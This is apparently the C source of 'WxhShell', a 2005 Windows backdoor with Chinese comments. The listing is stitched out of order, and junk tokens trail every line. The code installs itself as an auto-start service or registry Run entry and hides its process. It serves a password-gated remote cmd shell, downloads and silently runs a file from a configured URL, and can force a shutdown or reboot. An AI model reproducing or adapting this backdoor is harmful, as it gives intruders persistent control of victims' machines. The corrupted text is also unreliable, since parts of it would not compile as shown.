  // 关机 lmhbF  
  case 'd': { 1Y=AT!"V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ', sQ/#S  
    if(Boot(SHUTDOWN)) E7gHi$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@SOo"P  
    else { < TR/ `  
    closesocket(wsh); my ;  
    ExitThread(0); ik2- OM  
    } &[5n0e[  
    break; `RL,ZoYuu  
    } m<4s*q0\i  
  // 获取shell V$dJmKg  
  case 's': { G@!_ZM8h  
    CmdShell(wsh); g\o{}Q%X  
    closesocket(wsh); .-SF$U_P*a  
    ExitThread(0); N7*CP|?E  
    break; .pM &jni Y  
  } Z 7s;F}=  
  // 退出 3@^>#U   
  case 'x': { hN gpp-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -DP8NTl"  
    CloseIt(wsh); ! Ea&]G  
    break; Ecxj9h,S  
    } L$1K7<i.  
  // 离开 bZ>&QM  
  case 'q': { YH[XRUa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {*QvC g?  
    closesocket(wsh); T?X^0UdJj  
    WSACleanup(); $%g\YdC  
    exit(1); %K h2E2Pe  
    break; A\".t=+7  
        } ;Z ]<S_#-  
  } Fn:.Y8%-  
  } atY *8I|  
K??1,I  
  // 提示信息 ~ HK1X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8[{|xh(  
} !2}rtDE  
  } g4N%PV8  
jHAWK9fa  
  return; /M3y)K`^  
} ku{XW8  
NW{y% Z  
// shell模块句柄 6Z~Ya\~.g.  
int CmdShell(SOCKET sock) .zvlRt.zl  
{ &/s~? Iq  
STARTUPINFO si; \ V6   
ZeroMemory(&si,sizeof(si)); }{ n\tzR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +0]'| tF>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g<fDY6jt  
PROCESS_INFORMATION ProcessInfo; WP5VcBC  
char cmdline[]="cmd"; Bv^+d\*1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z^s+vi  
  return 0; bvl~[p$W3  
} $^}[g9]1  
jip\4{'N  
// 自身启动模式 f hQy36i@  
int StartFromService(void) 7}Bj|]b)~  
{ }>V/H]B  
typedef struct MZT6g.ny  
{ #G3` p!"  
  DWORD ExitStatus; ^J8uhV;w  
  DWORD PebBaseAddress; bE?'C h  
  DWORD AffinityMask; 0$tjNy e  
  DWORD BasePriority; @ ]f3| >I  
  ULONG UniqueProcessId; DU;[btK>  
  ULONG InheritedFromUniqueProcessId; h$70H^r  
}   PROCESS_BASIC_INFORMATION; 9b1?W?"  
Bi e?M  
PROCNTQSIP NtQueryInformationProcess; SD?BM-&~  
BI};"y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `dDa}b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2\VAmPG.Zs  
Yx5J$!Ld  
  HANDLE             hProcess; !"Qb}g  
  PROCESS_BASIC_INFORMATION pbi; 7Rnm%8?T  
F\5X7 ditD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WSQ[.C  
  if(NULL == hInst ) return 0; {O)YwT$`  
]}kI)34/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \yNQQ$B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lW p~t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EYkj@ .,  
wf?u (3/%  
  if (!NtQueryInformationProcess) return 0; n@ 4@,  
4r\*@rq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eOt%xTx  
  if(!hProcess) return 0; Jen%}\  
Uo2+:p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vvyj  
QC{u|  
  CloseHandle(hProcess); |8H_-n  
U;g S[8,p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *(G&B\  
if(hProcess==NULL) return 0; ahA{B1M)n  
-0$:|p?@^  
HMODULE hMod; 'w(y J  
char procName[255]; ;K_}A4K  
unsigned long cbNeeded; JWWYVl VC  
\PbvN\L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NPm;  
9JPEj-3`g  
  CloseHandle(hProcess); ocF>LR%P  
_.{zpF=j  
if(strstr(procName,"services")) return 1; // 以服务启动 `FZF2.N  
mQ}Gh_'ps  
  return 0; // 注册表启动 kn}z gSO  
} {) xWD%  
GW3>&j_!d  
// 主模块 w$j{Hp6m  
int StartWxhshell(LPSTR lpCmdLine) DzC Df@TB"  
{ 6\4Z\82  
  SOCKET wsl; l&L,7BX  
BOOL val=TRUE; @RGDhwS47  
  int port=0; CbOCk:,g5  
  struct sockaddr_in door; Stxp3\jEn  
3pSj kS|?>  
  if(wscfg.ws_autoins) Install(); */w7?QOv  
ydQ!4  
port=atoi(lpCmdLine); wiJRCH  
5 6DoO'  
if(port<=0) port=wscfg.ws_port; qbiK^g R  
X4wH/q^  
  WSADATA data; (WRMaI72(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fu7M0X'p  
fN)x#?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T|;@ T^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {~N3D4n^  
  door.sin_family = AF_INET; Hz@h0+h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IkDiT63]I  
  door.sin_port = htons(port); ;~+]! U  
lpy:3`ti  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KVR~jF%  
closesocket(wsl); ~~nqU pK?v  
return 1; JJ ?I>S N!  
} *%!M4&  
 l{$[}<  
  if(listen(wsl,2) == INVALID_SOCKET) { Zw{MgoJ0Z  
closesocket(wsl); l%~lz[  
return 1; @g-G =Ba  
} yK1ie  
  Wxhshell(wsl); [A5W+pDm  
  WSACleanup(); /=)L_  
e[1>(l}Ss  
return 0; a460|w6  
c8Z A5|  
} "(`2eXRn  
c2 Aps  
// 以NT服务方式启动 Gb2L }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *k [J6  
{ &|9.}Z8U  
DWORD   status = 0; h2~4G)J  
  DWORD   specificError = 0xfffffff; 9b"MQ[B4#a  
UDEj[12S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tfYB_N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _=EKXE)&}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C ^w)|2o}  
  serviceStatus.dwWin32ExitCode     = 0; =\};it{u  
  serviceStatus.dwServiceSpecificExitCode = 0; '<dgT&8C  
  serviceStatus.dwCheckPoint       = 0; h Dk)Qg  
  serviceStatus.dwWaitHint       = 0; C <B<o[:H  
,LhCFw{8?~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *?t%0){  
  if (hServiceStatusHandle==0) return; A"uULfnk  
pOT7;-#n  
status = GetLastError(); ' cBBt  
  if (status!=NO_ERROR) uw AwWgl  
{ G[,Q95`w?<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X~oK[Nf'9  
    serviceStatus.dwCheckPoint       = 0; ik.A1j9oN  
    serviceStatus.dwWaitHint       = 0; 0 1V^L}  
    serviceStatus.dwWin32ExitCode     = status; iW%8/$  
    serviceStatus.dwServiceSpecificExitCode = specificError; V}WB*bE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bv6 K$4  
    return; By)u-)g9  
  } y<:<$22O  
z>m=h)9d~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P7.'kX9  
  serviceStatus.dwCheckPoint       = 0; i-" p)2d=#  
  serviceStatus.dwWaitHint       = 0; *\G)z|^yx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0bS|fMgc  
} (R!hjw~  
-0C@hM,wm  
// 处理NT服务事件,比如:启动、停止 @-&MA)SN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T-_"|-k}P%  
{ =(HeF.!  
switch(fdwControl) c>:R3^\lwx  
{ RY9V~8|M  
case SERVICE_CONTROL_STOP: c{3wk7  
  serviceStatus.dwWin32ExitCode = 0; E"~2./+rd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Ncm^b4  
  serviceStatus.dwCheckPoint   = 0; 9X$ma/P[  
  serviceStatus.dwWaitHint     = 0; a<~77~"4wn  
  { eHiy,IN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 47K1$3P  
  } 9(4&KZpK  
  return; R?o$Y6}5  
case SERVICE_CONTROL_PAUSE: c!K]J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *Hz^K0:8(  
  break; V)(R]BK{  
case SERVICE_CONTROL_CONTINUE: AlXNg!j;5K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J aTp} #  
  break; 'cix`l|^  
case SERVICE_CONTROL_INTERROGATE: kF"@Ngv.  
  break; n+;6=1d7ZW  
}; T .FI'wy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U1nw- Q+  
} "VG+1r+]4  
%D g0fL  
// 标准应用程序主函数 @Fp_^5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EJ@p-}I!  
{ 4db(<h  
*z*uEcitW  
// 获取操作系统版本 c2t=_aAIPQ  
OsIsNt=GetOsVer(); Y_woKc*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G3G#ep~)vC  
F8:vDv  
  // 从命令行安装 Zwz&rIQpT  
  if(strpbrk(lpCmdLine,"iI")) Install(); %w7u]-tR  
C?Bl{4-P}*  
  // 下载执行文件 #|&Sc_#4)  
if(wscfg.ws_downexe) { !$-\;<bZw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YG [;"QR  
  WinExec(wscfg.ws_filenam,SW_HIDE); #9-P%%kQ  
} (0YZZ93  
SN7"7joP<  
if(!OsIsNt) { InXn%9]p]  
// 如果时win9x,隐藏进程并且设置为注册表启动 #txE=e"&o  
HideProc(); /+Lfrt  
StartWxhshell(lpCmdLine); AV9m_hZ t  
} |KSy`lY-j>  
else 1cS}J:0P  
  if(StartFromService()) +_XzmjnDd  
  // 以服务方式启动 .A sv%p[W  
  StartServiceCtrlDispatcher(DispatchTable); "#[!/\=?:  
else Q8!) !r%  
  // 普通方式启动 $hivlI-7Ko  
  StartWxhshell(lpCmdLine); 4RSHZAJg  
OQW#a[=WQ  
return 0; e/0<[s*#Q  
} M`rl!Ci#  
91 =OF*w  
TT =b79k  
]E\n9X-{  
=========================================== F a'k0/_j  
T!Hb{Cg*  
Og,$ sH}`  
3|.um_  
\jOA+FU [  
bFe+m1Q_  
" _?OW0x4  
rE}%KsZ  
#include <stdio.h> 1pArZzm>  
#include <string.h> ZovW0Q)m  
#include <windows.h> 4"gM<z  
#include <winsock2.h> {}3${  
#include <winsvc.h> !O`(JSoG  
#include <urlmon.h> ;\f gF@  
0T Q$C-%  
#pragma comment (lib, "Ws2_32.lib") (h >-&.`&  
#pragma comment (lib, "urlmon.lib") cSXwYZDx?  
q Y#n'&  
#define MAX_USER   100 // 最大客户端连接数 ?>I;34tL(  
#define BUF_SOCK   200 // sock buffer I 'V4D[H5  
#define KEY_BUFF   255 // 输入 buffer 0NS<?p~_S  
gb H<]?  
#define REBOOT     0   // 重启 xlhG,bb7  
#define SHUTDOWN   1   // 关机 $GlWf  
b )B? F  
#define DEF_PORT   5000 // 监听端口 {q"OM*L(  
"?V0$-DR  
#define REG_LEN     16   // 注册表键长度 i_j[?.?X}  
#define SVC_LEN     80   // NT服务名长度 &YF^j2  
&*+'>UEe5  
// 从dll定义API "rx-_uK*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O^oWG&Y;v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vQ;Ex  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9I6a"PGDb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V5UF3'3;}  
0u;4%}pD  
// wxhshell配置信息 |Y?H A&  
struct WSCFG { zd @m~V  
  int ws_port;         // 监听端口 <1uZa  
  char ws_passstr[REG_LEN]; // 口令 rJGf .qJJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no wK?vPS  
  char ws_regname[REG_LEN]; // 注册表键名 Tj:B!>>  
  char ws_svcname[REG_LEN]; // 服务名  R}O_[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $<}$DH_Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tfj:@Z5&$C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P-?0zF/T$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZrsBm_Rx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LDPUD'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kqFP)!37  
'<"s \,  
}; @7IIM{  
f&Gt|  
// default Wxhshell configuration }H^+A77v  
struct WSCFG wscfg={DEF_PORT, )h7<?@wv&  
    "xuhuanlingzhe", e)d`pQ6  
    1, <J) ]mh dm  
    "Wxhshell", '@_d(N1jTw  
    "Wxhshell", |olA9mp|]  
            "WxhShell Service", nAv#?1cjz  
    "Wrsky Windows CmdShell Service", aDU<wxnSvO  
    "Please Input Your Password: ", k$blEa4  
  1, Ff)8Q.m  
  "http://www.wrsky.com/wxhshell.exe", i<#QW'R(  
  "Wxhshell.exe" .%xn&3  
    }; A1O' |7X  
MN\HDKN  
// 消息定义模块 >T^;MS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =l+yA>t|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [_k1jHr48N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pH9VTM.*  
char *msg_ws_ext="\n\rExit."; \NPmym_ 6J  
char *msg_ws_end="\n\rQuit."; `sn^ysp  
char *msg_ws_boot="\n\rReboot..."; 4h|c<-`>t  
char *msg_ws_poff="\n\rShutdown..."; pR=@S>!|  
char *msg_ws_down="\n\rSave to "; +S o4rA*9  
Ayxkv)%:@)  
char *msg_ws_err="\n\rErr!"; 6^]+[q}3  
char *msg_ws_ok="\n\rOK!"; IG2r#N|C#  
os=e|vkB*  
char ExeFile[MAX_PATH]; $a.JSXyxL  
int nUser = 0; h9}+l  
HANDLE handles[MAX_USER]; Hj^1or3R]  
int OsIsNt; ]Sf]J4eQ  
-t!~%_WCv  
SERVICE_STATUS       serviceStatus; (A9Fhun  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0X6YdW_2X  
J')o|5S1N  
// 函数声明 geru=7  
int Install(void); LBYMCY  
int Uninstall(void); m*&]!mM"0G  
int DownloadFile(char *sURL, SOCKET wsh); o#3ly-ht  
int Boot(int flag); ; ZA~p  
void HideProc(void); d,k!qjf=r  
int GetOsVer(void); T(id^ w  
int Wxhshell(SOCKET wsl); E(>=rD/+  
void TalkWithClient(void *cs); P3x8UR=fS  
int CmdShell(SOCKET sock); gb[5&> (#  
int StartFromService(void); NcBIg:V\c  
int StartWxhshell(LPSTR lpCmdLine); f%][}NN)Xr  
6]K_m(F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 11 Q1AN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @0Ic3C[rH6  
"g5^_UP  
// 数据结构和表定义 <? q?Mn  
SERVICE_TABLE_ENTRY DispatchTable[] = *#,7d"6W5  
{ n(1l}TJy  
{wscfg.ws_svcname, NTServiceMain}, @LF,O}[2J  
{NULL, NULL} R0KPZv-  
}; PxvyN_B#>  
P) Jgs  
// 自我安装 L +b6!2O,  
int Install(void) u-QB.iQ+s  
{ ha]VWt%}  
  char svExeFile[MAX_PATH]; f\|w '  
  HKEY key; n@<YI  
  strcpy(svExeFile,ExeFile); V'z1  
i1}:8Unxf  
// 如果是win9x系统,修改注册表设为自启动 G|bT9f$  
if(!OsIsNt) { f z'@_4hg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LBw1g<&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^pp\bVh2Q]  
  RegCloseKey(key); I ce~oz)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^9v4OUG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l!D}3jD  
  RegCloseKey(key); ~[t[y~Hup  
  return 0; zfJT,h-{  
    } b6,iZ+]  
  } Z@4Ar fl  
} ` 'DmDg  
else { 5AFJC?   
k =>oO9`  
// 如果是NT以上系统,安装为系统服务 .Y tKS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R$R *'l  
if (schSCManager!=0) j`{?OYD  
{ 8SMxw~9$  
  SC_HANDLE schService = CreateService {5Q!Y&N.%  
  ( zYH&i6nj  
  schSCManager, sA+ }TNhq  
  wscfg.ws_svcname, /:cd\A}  
  wscfg.ws_svcdisp, g@d*\ P)  
  SERVICE_ALL_ACCESS, {i;r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M H|Og84  
  SERVICE_AUTO_START, #|uCgdi  
  SERVICE_ERROR_NORMAL, )HEa<P^kJl  
  svExeFile, [:7'?$  
  NULL, xK>*yV  
  NULL, 3(>B Ke  
  NULL, )*u8/U  
  NULL, `}p0VmD{NE  
  NULL 7y.kQI?3  
  ); /T"+KU*  
  if (schService!=0) mVj9, q0  
  { * ` JYC  
  CloseServiceHandle(schService); z0 d.J1VW  
  CloseServiceHandle(schSCManager); /4yo`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sU=H&D99  
  strcat(svExeFile,wscfg.ws_svcname); D(~U6SR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %Tfbsyf%f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]=\].% >  
  RegCloseKey(key); H%[eV8  
  return 0; C"y(5U)d  
    } dn& s*  
  }  {y)=eX9  
  CloseServiceHandle(schSCManager); ,V7nzhA2  
} ncaT?~u j  
} l5~os>  
n'"/KS+_  
return 1; zrvF]|1UP  
} )~X2 &^orW  
"fb[23g%@k  
// 自我卸载 Q-(zwAaE  
int Uninstall(void) G?yLo 'Ulo  
{ irZ])a  
  HKEY key; >>,e4s,  
Q 3 ea{!r  
if(!OsIsNt) { ^vZSUfS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W<'m:dq  
  RegDeleteValue(key,wscfg.ws_regname); 91/Q9xY  
  RegCloseKey(key); Q1Kfi8h}'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7hrk  
  RegDeleteValue(key,wscfg.ws_regname); Kf3"Wf^q   
  RegCloseKey(key); n3WlZ!$  
  return 0; aHD]k8 m z  
  } r-,%2y?  
} <]ox;-56  
} ldf\;Qk  
else { [DuttFX^x  
:'Vf g[Uq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BT !^~S%w  
if (schSCManager!=0) TP*hd  
{ YqscZ(L:y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7P } W *  
  if (schService!=0) 9i:L&dN  
  { 5=-Q4d  
  if(DeleteService(schService)!=0) { yNPVOp*  
  CloseServiceHandle(schService); _O?`@g?i  
  CloseServiceHandle(schSCManager); e1yt9@k,  
  return 0; `>o{P/HN  
  } ,KH#NY]  
  CloseServiceHandle(schService); *;W+>W  
  } I{|O "8  
  CloseServiceHandle(schSCManager); U4'#T%*  
} 6bg ;q(*7  
} {qk1_yP  
sJKI!   
return 1; =nHUs1rKn  
} Lj({[H7D!  
PI {bmZ  
// 从指定url下载文件 RU|Q ]Ymx  
int DownloadFile(char *sURL, SOCKET wsh) H_7/%noS5  
{ $ Gf(38[w  
  HRESULT hr; 1C+13LE$U  
char seps[]= "/"; }J}-//[A  
char *token; %UrueMEO  
char *file; g _9C*  
char myURL[MAX_PATH]; v&\Q8!r_  
char myFILE[MAX_PATH]; w7L{_aom  
b! t0w{^w  
strcpy(myURL,sURL); kdiM5l70  
  token=strtok(myURL,seps); f_OQ./`  
  while(token!=NULL) ic:zsuEm  
  { G[PtkPSJ  
    file=token; ScOK)nL"  
  token=strtok(NULL,seps); s S+MqBh&I  
  } 'ms-*c&  
&ANf!*<\E  
GetCurrentDirectory(MAX_PATH,myFILE); b=C*W,Q_#  
strcat(myFILE, "\\"); (MM]N=Tw4  
strcat(myFILE, file); jVe1b1rt~3  
  send(wsh,myFILE,strlen(myFILE),0); bL`TySX  
send(wsh,"...",3,0); LE Nq_@$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bIDj[-CDG  
  if(hr==S_OK) K-)] 1BG  
return 0; >NV @R&  
else zaIKdI'/e  
return 1; fUWG*o9  
,Zx0%#6  
} h8q[1"a:  
dlh)gp;  
// 系统电源模块 6GlJ>r+n  
int Boot(int flag) RMV/&85?y  
{ Z?q] bSIT  
  HANDLE hToken; C}j"Qi`  
  TOKEN_PRIVILEGES tkp; B3`5O[ 6  
{lzWrUGO  
  if(OsIsNt) { gx/,)> E.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =ZznFVJ`={  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  4\N ;2N  
    tkp.PrivilegeCount = 1; !qQl@j O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y-b%T|p9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |*xA 8&/  
if(flag==REBOOT) { t.y2ff<[U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H7Rx>h_  
  return 0; ?=msH=N<l  
} /U*C\ xMm  
else { J1U/.`Oy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q[_Vu A]&  
  return 0; oH?b}T=9jz  
} p<FzJ   
  } HyQJXw?A:  
  else { O/(`S<iip  
if(flag==REBOOT) { ]jQutlg|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x8B}ZIbT9  
  return 0;  Mx?d  
} net@j#}j-  
else { &m7]v,&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xu'&ynID  
  return 0; 8 FK/~,I  
} < NY^M!  
} H2 {+)  
u~:y\/Y6  
return 1; x_}:D *aI  
} Mj3A5;#  
+)om^e@.  
// win9x进程隐藏模块  qA7>vi%  
void HideProc(void) k"%~"9  
{ NiEUW.0  
RLXL&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,-LwtePJ0  
  if ( hKernel != NULL ) +o{R _  
  { M/'sl;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >>)b'c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O6 3<AY@  
    FreeLibrary(hKernel); 2wg5#i  
  } )EuvRLo{S7  
uAq~=)F>,  
return; ^/>(6>S^M  
} x+:UN'"r  
mDABH@ R  
// 获取操作系统版本 {4}yKjW%z  
int GetOsVer(void) n,(sBOQ  
{ >8^ $ [}w  
  OSVERSIONINFO winfo; X7 MM2V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bo>*fNqAIy  
  GetVersionEx(&winfo); {6|G@ ""O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) On:il$MU  
  return 1; n nEgx;Nl0  
  else y2dCEmhY  
  return 0; D/xbF`  
} TER=*"!  
ZF8 yw(z  
// 客户端句柄模块 7IH@oMvE  
int Wxhshell(SOCKET wsl) (N6i4 g6  
{ V7Lxfoa4  
  SOCKET wsh; }'V5/>m[  
  struct sockaddr_in client; [PM 2\#K  
  DWORD myID; (Z q/  
jD]~ AwRJ  
  while(nUser<MAX_USER) 6I4\q.^qw  
{ IqHV)A  
  int nSize=sizeof(client); x"=f+Mr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wk D^r(hiH  
  if(wsh==INVALID_SOCKET) return 1; r'r%w#=`t  
jXx<`I+]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4jM Fr,  
if(handles[nUser]==0) 6:5I26  
  closesocket(wsh); UgN u`$m+  
else {X+3;&@  
  nUser++; mHTXni<!  
  } %P/Jq#FE .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S(l O(gY  
)p0^zv{  
  return 0; l`{\"#4  
} = `F(B  
+F` S>U  
// 关闭 socket #e1>H1eU  
void CloseIt(SOCKET wsh) z&)A,ryW0  
{ T^t# c  
closesocket(wsh); drP=A~?&:  
nUser--; X*XZb F"=  
ExitThread(0); KnQ*vM*VM  
} Jy:Qlx`  
gQg"j)  
// 客户端请求句柄 py!|\00}  
void TalkWithClient(void *cs) &MQmu,4  
{ X6X $Pve  
)gIKH{JYL  
  SOCKET wsh=(SOCKET)cs; 0B/,/KX  
  char pwd[SVC_LEN]; Su7?;Oh/yI  
  char cmd[KEY_BUFF]; $\BE&4g  
char chr[1]; S>6 ~lb8G  
int i,j; L|:`^M+^w  
I\{ 1u  
  while (nUser < MAX_USER) { XGWSdPJLr  
9'giU r  
if(wscfg.ws_passstr) { W=><)miQ@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @7]yl&LZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oy=js -  
  //ZeroMemory(pwd,KEY_BUFF); 1\ ~ "VF*{  
      i=0; ? 7n`A >T  
  while(i<SVC_LEN) { =_2jK0+}l  
vhW2PzHFRi  
  // 设置超时 rC%*$g $  
  fd_set FdRead; 4N_R:B-V u  
  struct timeval TimeOut; [)M%cyQ  
  FD_ZERO(&FdRead); +H-6eP  
  FD_SET(wsh,&FdRead); ;kQhx6Z  
  TimeOut.tv_sec=8; f!uwzHA`?  
  TimeOut.tv_usec=0; W)2p@j59A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M*, -zGr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !qh]6%l  
,{u yG:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <I\/n<*  
  pwd=chr[0]; Uw. `7b>B  
  if(chr[0]==0xd || chr[0]==0xa) { 8,4"uuI  
  pwd=0; { ]{/t-=  
  break; /<=u\e'rE  
  } EF[@$j   
  i++; {_[N<U:QT&  
    } 'Ym9;~(@R  
vXf!G`D  
  // 如果是非法用户,关闭 socket feDlH[$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t7Iv?5]N  
} HZC"nb}r4  
x.!V^HQSN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZF9z~9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]?kZni8j_  
2\MT;;ZTZ  
while(1) { 4K#>f4(U`g  
xQ-<WF1i  
  ZeroMemory(cmd,KEY_BUFF); *xxx:*6rk;  
KE5kOU;  
      // 自动支持客户端 telnet标准   q]ku5A\y  
  j=0; kW Ml  
  while(j<KEY_BUFF) { EReZkvseC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (z {#Eq4  
  cmd[j]=chr[0]; I by\$~V  
  if(chr[0]==0xa || chr[0]==0xd) { (&F}/s gbi  
  cmd[j]=0; WYm\)@  
  break; pk$l+sNZ=  
  } SumF  2  
  j++; OUPUixz2Z  
    } ~S"+S/z/k  
ifMRryN4  
  // 下载文件 wo;~7K  
  if(strstr(cmd,"http://")) { 7Jyy z,!5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); en4k/w_  
  if(DownloadFile(cmd,wsh)) a od-3"7[  
